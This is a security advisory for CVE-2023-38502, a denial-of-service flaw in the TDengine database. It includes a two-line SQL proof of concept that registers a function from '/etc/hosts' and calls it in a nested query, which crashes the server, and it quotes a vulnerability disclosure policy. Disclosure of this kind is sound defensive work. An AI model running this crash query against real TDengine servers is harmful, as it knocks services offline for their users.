CVE-2023-38502: TDengine Database Denial-of-Service

Package

github.com/taosdata/TDengine

Affected versions

<=3.0.5.0

Summary

TDengine DataBase crashes on UDF nested query.

Details

The prerequisite are :

• User can connect to db
• User have create function privilege

Whatever the {FILE} content is ok when create udf. Make sure {FILE} is exist on client local.
Actually, Attacker can create a craft request and make {FILE} payload is anything.

PoC

Test on docker image tdengine/tdengine:3.0.4.2 and tdengine/tdengine-amd64:3.0.5.0

taos> create function blah AS ‘/etc/hosts’ outputtype int;

taos> select blah(n) from (select 1 n)x;

After running this, db crashed, docker container exited.

Impact

This is an Denial-of-Service vulnerability.
It affects TDengine Database which let user connect and run arbitrary queries.

Add on Jun 13th, 2023

I notice that TDEngine does not setup Security Policy. As vulnerability reporter, I will refer to the Github Security Advisories Vulnerability Disclosure Policy to arrange follow-up activities. Show as below.

Disclosure policy
Last updated: November 10th, 2021

The GitHub Security Lab research team is dedicated to working closely with the open source community and with projects that are affected by a vulnerability, in order to protect users and ensure a coordinated disclosure. When we identify a vulnerability in a project, we will report it by contacting the publicly-listed security contact for the project if one exists; otherwise we will attempt to contact the project maintainers directly.

If the project team responds and agrees the issue poses a security risk, we will work with the project security team or maintainers to communicate the vulnerability in detail, and agree on the process for public disclosure. Responsibility for developing and releasing a patch lies firmly with the project team, though we aim to facilitate this by providing detailed information about the vulnerability.

Our disclosure deadline for publicly disclosing a vulnerability is: 90 days after the first report to the project team.

We appreciate the hard work maintainers put into fixing vulnerabilities and understand that sometimes more time is required to properly address an issue. We want project maintainers to succeed and because of that we are always open to discuss our disclosure policy to fit your specific requirements, when warranted.

We believe that sharing a disclosure policy with maintainers is the first step to a smooth collaboration and we encourage all vulnerability reporters to do so. If our disclosure policy resonates with you feel free to copy it and use it for your own disclosures.

Please contact us at [email protected] if you have any questions about our disclosure policy or our security research.